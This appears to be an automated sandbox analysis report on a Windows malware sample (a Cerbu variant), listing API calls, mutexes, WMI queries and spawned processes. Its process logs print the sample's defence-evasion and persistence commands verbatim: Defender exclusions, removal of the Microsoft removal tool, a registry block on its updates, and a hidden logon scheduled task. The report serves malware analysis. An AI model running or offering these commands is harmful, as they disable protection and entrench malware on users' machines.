Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1728213124.00000245B11E6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C0000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC28000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACDFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/R
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/Z
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1728213124.00000245B11E6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C0000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC28000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACDFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/u

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Code function: 24_2_00007FF6D9CF1530 OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,Sleep,OpenClipboard,GetLastError,

24_2_00007FF6D9CF1530

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Code function: 24_2_00007FF6D9CFDB59 HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,CreateWaitableTimerExW,HeapFree,CreateWaitableTimerExW,HeapFree,HeapFree,WakeByAddressSingle,WakeByAddressSingle,WakeByAddressSingle,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,WaitOnAddress,WaitOnAddress,GetLastError,CreateWaitableTimerExW,WakeByAddressSingle,WaitOnAddress,WaitOnAddress,GetLastError,WakeByAddressSingle,MultiByteToWideChar,GlobalAlloc,GlobalLock,MultiByteToWideChar,GlobalUnlock,EmptyClipboard,GetLastError,SetClipboardData,GlobalFree,GetLastError,GetLastError,GlobalFree,GetCurrentThread,ImpersonateAnonymousToken,CloseClipboard,RevertToSelf,WakeByAddressSingle,HeapFree,CreateWaitableTimerExW,GetLastError,AddVectoredExceptionHandler,SetThreadStackGuarantee,GetCurrentThread,SetThreadDescription,SetThreadDescription,

24_2_00007FF6D9CFDB59

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Code function: 24_2_00007FF6D9CFBF68 GetCurrentProcess,NtQueryInformationProcess,GetCurrentProcess,NtQueryInformationProcess,GetCurrentProcess,NtQueryInformationProcess,HeapReAlloc,HeapFree,CreateMutexW,CreateMutexExW,GetLastError,HeapFree,CloseHandle,HeapFree,HeapFree,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,CloseHandle,CloseHandle,CloseHandle,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,CloseHandle,HeapFree,CreateWaitableTimerExW,Sleep,GetClipboardData,GlobalLock,GlobalSize,WideCharToMultiByte,WideCharToMultiByte,GlobalUnlock,GetCurrentThread,ImpersonateAnonymousToken,CloseClipboard,CreateWaitableTimerExW,RevertToSelf,HeapFree,CreateWaitableTimerExW,SetWaitableTimer,WaitForSingleObject,CloseHandle,HeapFree,AddVectoredExceptionHandler,SetThreadStackGuarantee,GetCurrentThread,SetThreadDescription,SetThreadDescription,HeapFree,

24_2_00007FF6D9CFBF68

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

File dump: SppExtComObj.exe.5.dr 706740224

Jump to dropped file

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DCDA50 GetProcessTimes,GetLastError,GetSystemTimes,GetLastError,GetProcessIoCounters,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,GetLastError,GetLastError,CloseHandle,GetLastError,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,HeapFree,HeapFree,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,GetLastError,K32GetModuleFileNameExW,HeapFree,HeapFree,HeapFree,GetLastError,CloseHandle,HeapFree,ReadProcessMemory,HeapFree,GetLastError,HeapFree,HeapFree,HeapFree,HeapFree,VirtualQueryEx,ReadProcessMemory,HeapFree,HeapFree,GetLastError,HeapFree,HeapFree,HeapFree,HeapFree,ReadProcessMemory,HeapFree,GetLastError,HeapFree,HeapFree,HeapFree,HeapFree,RtlFreeHeap,HeapFree,HeapFree,HeapFree,VirtualQueryEx,HeapFree,HeapFree,HeapFree,RtlFreeHeap,ReadProcessMemory,HeapFree,GetLastError,HeapFree,HeapFree,HeapFree,HeapFree,	24_2_00007FF6D9DCDA50
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DCF390 NtQueryInformationProcess,GetErrorInfo,NtQueryInformationProcess,HeapFree,HeapFree,	24_2_00007FF6D9DCF390
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CFBF68 GetCurrentProcess,NtQueryInformationProcess,GetCurrentProcess,NtQueryInformationProcess,GetCurrentProcess,NtQueryInformationProcess,HeapReAlloc,HeapFree,CreateMutexW,CreateMutexExW,GetLastError,HeapFree,CloseHandle,HeapFree,HeapFree,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,CloseHandle,CloseHandle,CloseHandle,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,CloseHandle,HeapFree,CreateWaitableTimerExW,Sleep,GetClipboardData,GlobalLock,GlobalSize,WideCharToMultiByte,WideCharToMultiByte,GlobalUnlock,GetCurrentThread,ImpersonateAnonymousToken,CloseClipboard,CreateWaitableTimerExW,RevertToSelf,HeapFree,CreateWaitableTimerExW,SetWaitableTimer,WaitForSingleObject,CloseHandle,HeapFree,AddVectoredExceptionHandler,SetThreadStackGuarantee,GetCurrentThread,SetThreadDescription,SetThreadDescription,HeapFree,	24_2_00007FF6D9CFBF68
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CFBF68 GetCurrentProcess,NtQueryInformationProcess,GetCurrentProcess,NtQueryInformationProcess,GetCurrentProcess,NtQueryInformationProcess,HeapReAlloc,HeapFree,CreateMutexW,CreateMutexExW,GetLastError,HeapFree,CloseHandle,HeapFree,HeapFree,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,CloseHandle,CloseHandle,CloseHandle,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,CloseHandle,HeapFree,CreateWaitableTimerExW,Sleep,GetClipboardData,GlobalLock,GlobalSize,WideCharToMultiByte,WideCharToMultiByte,GlobalUnlock,GetCurrentThread,ImpersonateAnonymousToken,CloseClipboard,CreateWaitableTimerExW,RevertToSelf,HeapFree,CreateWaitableTimerExW,SetWaitableTimer,WaitForSingleObject,CloseHandle,HeapFree,AddVectoredExceptionHandler,SetThreadStackGuarantee,GetCurrentThread,SetThreadDescription,SetThreadDescription,HeapFree,	24_2_00007FF6D9CFBF68
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DB9FF0 GetStdHandle,GetLastError,GetConsoleMode,NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,	24_2_00007FF6D9DB9FF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF8490639D1	12_2_00007FF8490639D1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF8490630E9	12_2_00007FF8490630E9
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DD0ED0	24_2_00007FF6D9DD0ED0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF8A90	24_2_00007FF6D9CF8A90
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF1680	24_2_00007FF6D9CF1680
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF7E40	24_2_00007FF6D9CF7E40
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DCDA50	24_2_00007FF6D9DCDA50
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DBFA10	24_2_00007FF6D9DBFA10
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DBADE0	24_2_00007FF6D9DBADE0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CFAD98	24_2_00007FF6D9CFAD98
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF4140	24_2_00007FF6D9CF4140
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DD08F0	24_2_00007FF6D9DD08F0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D4AF80	24_2_00007FF6D9D4AF80
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF8B9D	24_2_00007FF6D9CF8B9D
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DDEF40	24_2_00007FF6D9DDEF40
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CFBF68	24_2_00007FF6D9CFBF68
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF8B9D	24_2_00007FF6D9CF8B9D
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D50300	24_2_00007FF6D9D50300
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CFAEE2	24_2_00007FF6D9CFAEE2
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DE0AA0	24_2_00007FF6D9DE0AA0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D2DAB0	24_2_00007FF6D9D2DAB0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CFD2B0	24_2_00007FF6D9CFD2B0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF32A0	24_2_00007FF6D9CF32A0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D03A50	24_2_00007FF6D9D03A50
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D0C650	24_2_00007FF6D9D0C650
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF3210	24_2_00007FF6D9CF3210
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DC7230	24_2_00007FF6D9DC7230
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D08A00	24_2_00007FF6D9D08A00
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D0EE10	24_2_00007FF6D9D0EE10
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D011D0	24_2_00007FF6D9D011D0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D085F0	24_2_00007FF6D9D085F0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DC45D0	24_2_00007FF6D9DC45D0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D0DDA0	24_2_00007FF6D9D0DDA0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D40DB0	24_2_00007FF6D9D40DB0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DE0180	24_2_00007FF6D9DE0180
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D06140	24_2_00007FF6D9D06140
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF4970	24_2_00007FF6D9CF4970
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D2A130	24_2_00007FF6D9D2A130
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF1530	24_2_00007FF6D9CF1530
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CFBF68	24_2_00007FF6D9CFBF68
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D2B0F0	24_2_00007FF6D9D2B0F0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D114F0	24_2_00007FF6D9D114F0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DC64C0	24_2_00007FF6D9DC64C0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D24CC0	24_2_00007FF6D9D24CC0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF4CE0	24_2_00007FF6D9CF4CE0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D29CA0	24_2_00007FF6D9D29CA0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D244A0	24_2_00007FF6D9D244A0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DE6480	24_2_00007FF6D9DE6480
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D020A0	24_2_00007FF6D9D020A0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF2C50	24_2_00007FF6D9CF2C50
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DDF860	24_2_00007FF6D9DDF860
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D30060	24_2_00007FF6D9D30060
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF2C70	24_2_00007FF6D9CF2C70
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DBB050	24_2_00007FF6D9DBB050
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D34020	24_2_00007FF6D9D34020
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DC6400	24_2_00007FF6D9DC6400
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9DCC3E0	24_2_00007FF6D9DCC3E0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D2D3C0	24_2_00007FF6D9D2D3C0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D43BC0	24_2_00007FF6D9D43BC0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D2AFA0	24_2_00007FF6D9D2AFA0
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D07B80	24_2_00007FF6D9D07B80
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D0D380	24_2_00007FF6D9D0D380
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9D50F90	24_2_00007FF6D9D50F90
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CF4B50	24_2_00007FF6D9CF4B50
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Code function: 24_2_00007FF6D9CFDB59	24_2_00007FF6D9CFDB59

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f

Source: classification engine

Classification label: mal100.evad.winEXE@27/6@0/0

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Code function: 24_2_00007FF6D9DD0ED0 CoCreateInstance,SysFreeString,CoSetProxyBlanket,GetErrorInfo,GetErrorInfo,SysFreeString,GetErrorInfo,

24_2_00007FF6D9DD0ED0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

File created: C:\Users\Public\Pictures_Old

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4856:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3904:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3484:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1200:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:304:WilStaging_02
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Mutant created: \Sessions\1\BaseNamedObjects\HgSyVtdfIS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urbrehpo.yuf.ps1

Jump to behavior

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM Win32_Process
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM Win32_Process

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe "C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "wusa /uninstall /kb:890830 /quiet /norestart"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "del /f /q %SystemRoot%\System32\MRT.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe "C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe "C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe"
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "wusa /uninstall /kb:890830 /quiet /norestart"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "del /f /q %SystemRoot%\System32\MRT.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe "C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe "C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Section loaded: umpdc.dll	Jump to behavior
